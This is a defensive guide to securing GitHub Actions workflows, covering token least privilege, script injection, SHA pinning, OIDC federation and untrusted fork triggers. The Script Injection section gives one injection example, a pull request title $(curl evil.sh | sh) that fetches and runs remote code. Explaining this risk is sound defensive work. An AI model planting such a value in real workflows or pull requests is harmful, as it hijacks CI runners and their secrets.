Actions Security and OIDC

A workflow is a uniquely exposed piece of infrastructure: it runs third-party code, holds a token and secrets, and is sometimes triggered by input from untrusted forks. That is three attack surfaces stacked in one job. Treating a workflow like an ordinary script is how an attacker turns a pull request title into command execution with your token.

The defenses are concrete and additive: scope GITHUB_TOKEN to least privilege, never interpolate untrusted input into a shell, pin third-party actions to immutable commit SHAs, and replace stored cloud keys with OIDC federation that mints short-lived credentials per run. None of these is exotic; each closes one of the surfaces above.

Least-Privilege GITHUB_TOKEN

Every job gets an automatic GITHUB_TOKEN, and its default permission level can be read or write depending on org policy. Set permissions: at the workflow top to contents: read and elevate per job only where a step genuinely needs to write. A token left at write default is a gift to any compromised step or action — it can push code, edit issues, or cut releases on your behalf.

permissions:
  contents: read

jobs:
  build:
    permissions:
      contents: read
      id-token: write   # only this job needs OIDC

Script Injection

Values under ${{ github.event.* }} — pull request titles, branch names, issue bodies — are attacker-controlled. Interpolating them directly into a run: block splices their text into the shell the runner executes, so a PR titled $(curl evil.sh | sh) runs as the workflow. The fix is to bind the untrusted value to an env: variable and reference it quoted, so the shell treats it as data, never as code.

- env:
    TITLE: ${{ github.event.pull_request.title }}
  run: echo "$TITLE"

SHA Pinning

A third-party action referenced by tag (@v4) trusts whoever can move that tag. If the maintainer's account is compromised, the tag is repointed at malicious code that then runs with your token and secrets. Pinning to a full commit SHA (@a1b2c3d...) makes the reference immutable — a moved tag cannot change what you run, because you named the exact commit.

OIDC Federation

Instead of storing a long-lived cloud key in secrets, the runner requests a short-lived OIDC token, and the cloud provider (AWS, GCP, Azure) trades it for temporary credentials scoped by claims like the repository, the ref, and the environment. Nothing long-lived is stored, and the trust is conditioned on which workflow is asking. The job opts in with the id-token: write permission shown above.

The trust policy on the cloud side is where this is won or lost. Scope it by the sub claim to a specific repository and ref — repo:org/app:ref:refs/heads/main — not a wildcard. A policy matching repo:org/* lets any workflow in the org assume the role, which throws away most of the benefit.

Untrusted Workflows

The pull_request_target and workflow_run triggers run with the base repository's elevated context — write token and secrets — even when the pull request comes from a fork. Checking out and executing fork code under those triggers hands an attacker your secrets. Use plain pull_request for untrusted code, which runs with a read-only token and no secrets, and gate any secret-needing step behind an environment approval.